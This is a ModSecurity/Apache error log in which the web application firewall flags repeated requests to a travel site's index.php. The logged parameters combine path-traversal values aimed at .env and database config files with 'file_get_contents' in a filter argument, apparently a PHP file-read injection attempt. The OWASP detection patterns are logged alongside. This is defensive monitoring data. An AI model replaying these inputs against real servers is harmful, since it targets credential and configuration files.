[Fri Jul 17 08:55:34.886461 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrqquHSHoCJK_V0SBcAAAABs"]
[Fri Jul 17 08:55:34.886764 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrqquHSHoCJK_V0SBcAAAABs"]
[Fri Jul 17 08:55:34.887552 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrqquHSHoCJK_V0SBcAAAABs"]
[Fri Jul 17 08:55:35.668993 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgrqquHSHoCJK_V0SBcAAAABs"]
[Fri Jul 17 08:55:35.752176 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgr41dLClkUfK_dfHkzgAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:55:35.752240 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgr41dLClkUfK_dfHkzgAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:55:35.761672 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgr3RlmrtCoY_COpcmEQAAAAg"]
[Fri Jul 17 08:55:35.761718 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgr3RlmrtCoY_COpcmEQAAAAg"]
[Fri Jul 17 08:55:35.762009 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgr3RlmrtCoY_COpcmEQAAAAg"]
[Fri Jul 17 08:55:35.762881 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgr3RlmrtCoY_COpcmEQAAAAg"]
[Fri Jul 17 08:55:36.235799 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgr3RlmrtCoY_COpcmEQAAAAg"]
[Fri Jul 17 08:55:36.426759 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsBAi3pC6yjXGNq2AfwAAAAU"]
[Fri Jul 17 08:55:36.426814 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsBAi3pC6yjXGNq2AfwAAAAU"]
[Fri Jul 17 08:55:36.426882 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:server[REQUEST_METHOD]: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsBAi3pC6yjXGNq2AfwAAAAU"]
[Fri Jul 17 08:55:36.427161 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsBAi3pC6yjXGNq2AfwAAAAU"]
[Fri Jul 17 08:55:36.428089 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsBAi3pC6yjXGNq2AfwAAAAU"]
[Fri Jul 17 08:55:37.043730 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsBAi3pC6yjXGNq2AfwAAAAU"]
[Fri Jul 17 08:55:37.129546 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsfwooI4qY7Jg93pVggAAABM"]
[Fri Jul 17 08:55:37.129604 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsfwooI4qY7Jg93pVggAAABM"]
[Fri Jul 17 08:55:37.129726 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/config.php" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: /config.php found within ARGS:server[REQUEST_METHOD]: ../application/config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsfwooI4qY7Jg93pVggAAABM"]
[Fri Jul 17 08:55:37.130017 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsfwooI4qY7Jg93pVggAAABM"]
[Fri Jul 17 08:55:37.130835 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsfwooI4qY7Jg93pVggAAABM"]
[Fri Jul 17 08:55:37.644479 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsfwooI4qY7Jg93pVggAAABM"]
[Fri Jul 17 08:55:37.737053 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/extra/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsRJ0z2bEtnOrIXVAVwAAAAk"]
[Fri Jul 17 08:55:37.737114 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/extra/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsRJ0z2bEtnOrIXVAVwAAAAk"]
[Fri Jul 17 08:55:37.737444 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsRJ0z2bEtnOrIXVAVwAAAAk"]
[Fri Jul 17 08:55:37.738277 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsRJ0z2bEtnOrIXVAVwAAAAk"]
[Fri Jul 17 08:55:38.352333 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgsRJ0z2bEtnOrIXVAVwAAAAk"]
[Fri Jul 17 08:55:38.419243 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgshHlOGcokz2QIwTTNgAAAAM"]
[Fri Jul 17 08:55:38.420112 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgshHlOGcokz2QIwTTNgAAAAM"]
[Fri Jul 17 08:55:39.135308 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgshHlOGcokz2QIwTTNgAAAAM"]
[Fri Jul 17 08:55:39.340414 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgs1h1WDijTxd1xw5MVAAAAAc"]
[Fri Jul 17 08:55:39.340565 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgs1h1WDijTxd1xw5MVAAAAAc"]
[Fri Jul 17 08:55:39.340608 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgs1h1WDijTxd1xw5MVAAAAAc"]
[Fri Jul 17 08:55:39.341007 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgs1h1WDijTxd1xw5MVAAAAAc"]
[Fri Jul 17 08:55:39.341883 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgs1h1WDijTxd1xw5MVAAAAAc"]
[Fri Jul 17 08:55:39.981207 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:54082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:39.993542 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgs1h1WDijTxd1xw5MVAAAAAc"]
